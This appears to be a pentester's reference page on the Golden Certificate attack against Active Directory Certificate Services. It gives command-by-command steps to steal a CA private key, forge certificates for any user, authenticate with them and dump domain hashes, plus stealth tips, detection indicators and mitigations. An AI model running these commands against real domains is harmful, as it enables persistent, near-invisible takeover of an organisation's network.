golden-certificate-attack-dpersist1.md (13062B)
1 --- 2 title: "Golden Certificate Attack — DPERSIST1" 3 description: "The Golden Certificate Attack is a domain persistence technique — not a privilege escalation. By the time you execute this attack, you have already fully…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "kerberos", "adcs", "privilege-escalation", "persistence"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/Golden Certificate Attack — DPERSIST1.md" 11 --- 12 # Golden Certificate Attack — DPERSIST1 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Domain Persistence | 19 | **Difficulty** | Easy (post-compromise) | 20 | **Pre-requisites** | Local admin on CA server + software-protected CA key (no HSM) | 21 | **Tools** | Certipy (backup/forge), ForgeCert, Mimikatz, SharpDPAPI | 22 | **OPSEC Noise** | Low — forged certs generate zero CA logs | 23 | **MITRE ATT&CK** | T1649 — Steal or Forge Authentication Certificates | 24 | **One-liner** | Extract CA private key → forge certificates offline for any user indefinitely → authenticate with forged cert. | 25 26 *** 27 28 ## What Is the Golden Certificate Attack? 29 30 The Golden Certificate Attack is a **domain persistence technique** — not a privilege escalation. By the time you execute this attack, you have already fully compromised the domain. The goal is to ensure that **even if every password in the domain is reset, every account is disabled, and every other backdoor is removed, you can still authenticate as any user you want — indefinitely**. 31 32 The analogy to the Golden Ticket attack is exact and intentional: 33 34 | | Golden Ticket | Golden Certificate | 35 |---|---|---| 36 | **What is stolen** | `krbtgt` account hash | CA certificate + private key | 37 | **What is forged** | Kerberos TGT | X.509 certificate | 38 | **Signed by** | KRBTGT secret key | CA private key | 39 | **Impersonate any user** | ✅ | ✅ | 40 | **Validity period** | Set by attacker (years) | Set by attacker (decades) | 41 | **Revoked by password reset** | ✅ Rotating `krbtgt` hash invalidates tickets | ❌ **Certificate is still valid — CA private key never changes** | 42 | **Revoked by account deletion** | ✅ | ❌ **Forged cert has no dependency on AD object** | 43 | **MITRE ATT&CK** | T1558.001 | **T1649 — Steal or Forge Authentication Certificates** | 44 45 The devastating reality: **there is no easy recovery from a stolen CA private key short of revoking the entire CA and re-issuing every certificate in the domain**. This is why Golden Certificates are one of the most dangerous persistence techniques in the ADCS attack catalogue. 46 47 *** 48 49 ## Required Conditions 50 51 | Condition | Notes | 52 |-----------|-------| 53 | **Local admin on the CA server** | This is a post-exploitation / persistence technique — you need to have already compromised the domain | 54 | CA private key is software-protected | If stored in an HSM (Hardware Security Module), certipy backup will fail — HSMs are specifically designed to prevent key extraction | 55 | CA certificate is accessible | Almost always true — it's stored in the CA's certificate store and in AD | 56 57 *** 58 59 ## Understanding CA Key Storage 60 61 Before extracting, understand where the private key lives: 62 63 ``` 64 Default (software key): 65 %SystemRoot%\System32\CertSvc\CertEnroll\ 66 Backed by DPAPI (Data Protection API) 67 → Certipy can extract automatically with local admin 68 69 HSM-protected key: 70 Stored in physical HSM device 71 → Private key CANNOT be extracted 72 → Golden Certificate attack is NOT possible 73 → Check with: certutil -getkey <CA-Name> 74 ``` 75 76 *** 77 78 ## Step 0 — Confirm Local Admin on CA 79 80 ```bash 81 # Verify local admin access to the CA server 82 netexec smb <CA-IP> -u 'administrator' -p 'Password123!' 83 netexec smb <CA-IP> -u 'administrator' -H :NTHASH --local-auth 84 85 # If the CA is on the DC (most common in lab environments) 86 netexec smb $TARGET -u 'administrator' -H :ADMIN_NTHASH 87 ``` 88 89 *** 90 91 ## Step 1 — Extract the CA Certificate and Private Key 92 93 Certipy's `backup` command does the heavy lifting — it automatically dumps the CA cert and private key from the CA server using DPAPI: 94 95 ```bash 96 # From Linux with domain admin credentials 97 certipy-ad backup \ 98 -u 'administrator@domain.htb' \ 99 -p 'Password123!' \ 100 -dc-ip $TARGET \ 101 -target <CA-IP> 102 103 # With NT hash 104 certipy-ad backup \ 105 -u 'administrator@domain.htb' \ 106 -hashes :NTHASH \ 107 -dc-ip $TARGET \ 108 -target <CA-IP> 109 ``` 110 111 **Expected output:** 112 ``` 113 [*] Creating backup of 'DOMAIN-CA' 114 [*] Got certificate and private key of 'DOMAIN-CA' 115 [*] Saving certificate and private key to 'DOMAIN-CA.pfx' 116 [*] Done! 117 ``` 118 119 > ⚠️ **Protect `DOMAIN-CA.pfx` with your life.** This file IS your persistent access to the entire domain. Store it encrypted. Do not leave it on the target machine. 120 121 *** 122 123 ## Alternative Extraction Methods 124 125 ### Method A — Mimikatz (on the CA server directly) 126 127 ```powershell 128 # On the CA server as local admin 129 mimikatz.exe 130 131 # Dump the CA private key via DPAPI + crypto 132 lsadump::lsa /patch 133 crypto::capi 134 crypto::cng 135 crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export 136 ``` 137 138 ### Method B — SharpDPAPI (DPAPI-based extraction) 139 140 ```powershell 141 # Extract CA private key using machine DPAPI masterkey 142 .\SharpDPAPI.exe certificates /machine 143 ``` 144 145 ### Method C — certutil (native Windows, stealthy) 146 147 ```powershell 148 # Export CA cert + private key to PFX from CA server 149 certutil -exportPFX -p "ExportPassword" My <CA-thumbprint> C:\Windows\Temp\ca.pfx 150 ``` 151 152 ### Method D — Remote registry via Impacket 153 154 ```bash 155 # If you can access the CA remotely but don't have a shell 156 secretsdump.py 'domain.htb/administrator:Password123!'@<CA-IP> -just-dc-ntlm 157 # Then use the extracted DPAPI keys to decrypt the CA key offline 158 ``` 159 160 *** 161 162 ## Step 2 — Forge a Golden Certificate for Any User 163 164 With the CA cert and private key in hand, you can now **sign certificates offline** for any user in the domain — no CA interaction required: 165 166 ```bash 167 # Forge a certificate for Administrator 168 certipy-ad forge \ 169 -ca-pfx 'DOMAIN-CA.pfx' \ 170 -upn 'administrator@domain.htb' \ 171 -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' 172 173 # Output: administrator_forged.pfx 174 175 # Forge for any user — domain admin, service account, etc. 176 certipy-ad forge \ 177 -ca-pfx 'DOMAIN-CA.pfx' \ 178 -upn 'krbtgt@domain.htb' \ 179 -subject 'CN=krbtgt,CN=Users,DC=domain,DC=htb' 180 181 # Forge with custom validity — set it to 10 years 182 certipy-ad forge \ 183 -ca-pfx 'DOMAIN-CA.pfx' \ 184 -upn 'administrator@domain.htb' \ 185 -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' \ 186 -validity 3650 # Days — 10 years 187 ``` 188 189 **Expected output:** 190 ``` 191 [*] Forging certificate 192 [*] Saving forged certificate and private key to 'administrator_forged.pfx' 193 [*] Done! 194 ``` 195 196 > 💡 The forged certificate is **cryptographically signed by the real CA private key** — it is indistinguishable from a legitimately issued certificate. No request was ever sent to the CA. No event logs were generated. No request ID exists. 197 198 *** 199 200 ## Step 3 — Authenticate with the Forged Certificate 201 202 ```bash 203 certipy-ad auth \ 204 -pfx administrator_forged.pfx \ 205 -username administrator \ 206 -domain domain.htb \ 207 -dc-ip $TARGET 208 209 # Output: administrator.ccache + NT hash 210 ``` 211 212 *** 213 214 ## Step 4 — Shell / DCSync 215 216 ```bash 217 # Kerberos TGT 218 export KRB5CCNAME=administrator.ccache 219 wmiexec.py -k -no-pass DC01.domain.htb 220 secretsdump.py -k -no-pass DC01.domain.htb 221 222 # Pass-the-Hash 223 evil-winrm -i $TARGET -u administrator -H <NTHASH> 224 ``` 225 226 *** 227 228 ## The Full Offline Workflow (No CA Contact Required) 229 230 This is what makes the Golden Certificate so powerful — **Steps 2–4 are entirely offline**: 231 232 ``` 233 [ONLINE — requires CA access] [OFFLINE — no network needed] 234 ───────────────────────────── ────────────────────────────── 235 certipy backup → DOMAIN-CA.pfx ──────► certipy forge → forged.pfx 236 (sign any cert, any user, 237 any validity, anytime, 238 on any machine, 239 forever) 240 certipy auth → TGT + hash 241 ``` 242 243 You extract the CA key **once**, exfiltrate it **once**, and then forge certificates **indefinitely** from your own machine with zero interaction with the target domain. 244 245 *** 246 247 ## Windows Equivalent — ForgeCert 248 249 ```powershell 250 # ForgeCert by SpecterOps — Windows equivalent of certipy forge 251 .\ForgeCert.exe \ 252 --CaCertPath DOMAIN-CA.pfx \ 253 --CaCertPassword "" \ 254 --Subject "CN=FakeCert" \ 255 --SubjectAltName "administrator@domain.htb" \ 256 --NewCertPath forged_admin.pfx \ 257 --NewCertPassword "NewPassword" 258 259 # Authenticate with Rubeus 260 .\Rubeus.exe asktgt \ 261 /user:administrator \ 262 /certificate:forged_admin.pfx \ 263 /password:"NewPassword" \ 264 /getcredentials \ 265 /nowrap 266 ``` 267 268 *** 269 270 ## Golden Certificate vs Golden Ticket — Persistence Comparison 271 272 | Factor | Golden Ticket | Golden Certificate | 273 |--------|--------------|-------------------| 274 | **Killed by** | Rotating `krbtgt` hash **twice** | Revoking the **entire CA** | 275 | **Affected by account deletion** | ✅ (if PAC validation enforced) | ❌ Cert has no dependency on AD object | 276 | **Affected by password reset** | ✅ (in theory) | ❌ Cert still valid | 277 | **Offline forgery** | ✅ | ✅ | 278 | **Evidence of initial extraction** | LSASS memory access / DCSync | DPAPI access on CA server | 279 | **Evidence of forged usage** | Unusual TGT lifetime, missing PAC data | ⚠️ Very minimal — only auth event | 280 | **Difficulty to detect** | Medium | **Hard** | 281 | **Difficulty to recover from** | Medium (two krbtgt resets) | **Very Hard (full CA rebuild)** | 282 283 *** 284 285 ## Detection Indicators 286 287 - **Certipy backup usage** — `secretsdump`-style DPAPI access on the CA server: look for unexpected access to `%SystemRoot%\System32\CertSvc\CertEnroll\` 288 - **Event ID 70** on the CA — CA certificate exported 289 - **Forged cert usage** — Watch for PKINIT authentication (Event ID 4768 with pre-auth type `16`) where the certificate serial number **does not exist** in the CA's issued certificate database 290 - **Certificate serial number mismatch** — The forged cert will have a serial number never recorded by the CA — monitor CA issued cert logs against auth events 291 - **BloodHound** — `GoldenCert` edge from a compromised principal to the CA object 292 293 *** 294 295 ## Mitigation 296 297 - **Protect CA private key with an HSM** — Hardware Security Modules physically prevent key extraction; this is the single most effective countermeasure 298 - **Harden CA server access** — Treat the CA server with the same security level as a Domain Controller: restrict local admin, no unnecessary software, dedicated admin accounts only 299 - **Monitor DPAPI access** on the CA server — unexpected access to the certificate store outside of scheduled CA operations is a red flag 300 - **Certificate Transparency (CT) logging** — Log all issued certificates; monitor for serial numbers being used for PKINIT that were never recorded in the CA database 301 - **Enable CA auditing** — Event ID 70 fires on certificate export — this should alert immediately 302 - **Restrict physical and RDP access** to the CA server — lateral movement to the CA should be near-impossible in a hardened environment 303 304 *** 305 306 ## OPSEC Considerations 307 308 | Action | Event Generated | Noise Level | 309 |--------|----------------|-------------| 310 | CA key extraction (`certipy backup`) | Event ID 70 on CA (cert export) + DPAPI access | 🟡 Medium | 311 | Certificate forgery (`certipy forge`) | **None** — entirely offline | 🟢 None | 312 | Forged cert authentication | Event ID 4768 (PKINIT) — serial number mismatch | 🟢 Low | 313 | DCSync with forged identity | Event ID 4662 (replication) | 🔴 High | 314 315 > ⚠️ The **initial key extraction** is the only noisy step. Once the CA PFX is exfiltrated, all subsequent forgery and authentication operations are **completely invisible** to the target CA. The forged certificate will have a serial number that does not exist in the CA's issued certificate database — this is the only detection vector. 316 317 *** 318 319 ## References 320 321 - [Domain Persistence: Golden Certificate Attack — Hacking Articles](https://www.hackingarticles.in/domain-persistence-golden-certificate-attack/) 322 - [Golden Certificate — The Hacker Recipes](https://www.thehacker.recipes/ad/persistence/adcs/golden-certificate) 323 - [Golden Certificate & OCSP — Cloud Brothers](https://cloudbrothers.info/en/golden-certificate-ocsp/) 324 - [Golden Certificate — Penetration Testing Lab](https://pentestlab.blog/2021/11/15/golden-certificate/) 325 - [GoldenCert Edge — SpecterOps BloodHound](https://bloodhound.specterops.io/resources/edges/golden-cert) 326 - [An Introduction to Golden Certificates — Cyberstoph](https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/)